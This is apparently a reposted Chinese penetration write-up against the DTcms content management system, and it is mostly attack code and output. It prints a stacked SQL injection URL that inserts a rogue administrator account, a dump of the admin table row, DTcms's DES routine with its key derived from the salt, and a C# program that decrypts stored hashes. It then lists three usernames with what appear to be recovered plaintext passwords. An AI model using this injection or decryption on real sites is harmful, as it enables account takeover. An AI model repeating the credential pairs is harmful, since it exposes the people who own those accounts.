第一天
第一天
erui/E7B8D79CB1F8267E98411A1081B75FBD
admin/154A70BBAD1377B256671E16CAF430ED
lchh/262BA2BFC886B171B5488CA6E9F25BB8
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'[email protected]', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))
SET IDENTITY_INSERT [dbo].[dt_manager] OFF
https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- +
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
DESEncrypt.Encrypt(password, salt)
进行加密。后来知道了这里DESEncrypt是一个类,Encrypt是一个静态函数,所以可以直接调用using System;
using System.Security.Cryptography;
using System.Text;namespace DTcms.Common
{
/// <summary>
/// DES加密/解密类。
/// </summary>
public class DESEncrypt
{#region ========加密========
/// <summary>
/// 加密
/// </summary>
/// <param name="Text"></param>
/// <returns></returns>
public static string Encrypt(string Text)
{
return Encrypt(Text, "DTcms");
}
/// <summary>
/// 加密数据
/// </summary>
/// <param name="Text"></param>
/// <param name="sKey"></param>
/// <returns></returns>
public static string Encrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
byte[] inputByteArray;
inputByteArray = Encoding.Default.GetBytes(Text);
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
StringBuilder ret = new StringBuilder();
foreach (byte b in ms.ToArray())
{
ret.AppendFormat("{0:X2}", b);
}
return ret.ToString();
}#endregion
#region ========解密========
/// <summary>
/// 解密
/// </summary>
/// <param name="Text"></param>
/// <returns></returns>
public static string Decrypt(string Text)
{
return Decrypt(Text, "DTcms");
}
/// <summary>
/// 解密数据
/// </summary>
/// <param name="Text"></param>
/// <param name="sKey"></param>
/// <returns></returns>
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}#endregion
}
}
System.Web.dll
这个文件才能运行代码。代码段如下:using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Text;
using System.Web;namespace ConsoleApp1
{
class Program
{public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}static void Main(string[] args)
{
System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));
System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ"));
System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84"));}
}
}
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
文章来源:先知(Fright一Moch)
星 球 免 费 福 利
转发公众号本文到朋友圈
截图到公众号后台第1、3、5名获取免费进入星球
星球的最近主题和星球内部工具一些展示 欢 迎 加 入 星 球 !
关 注 有 礼
关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。 还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读
免责声明 由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!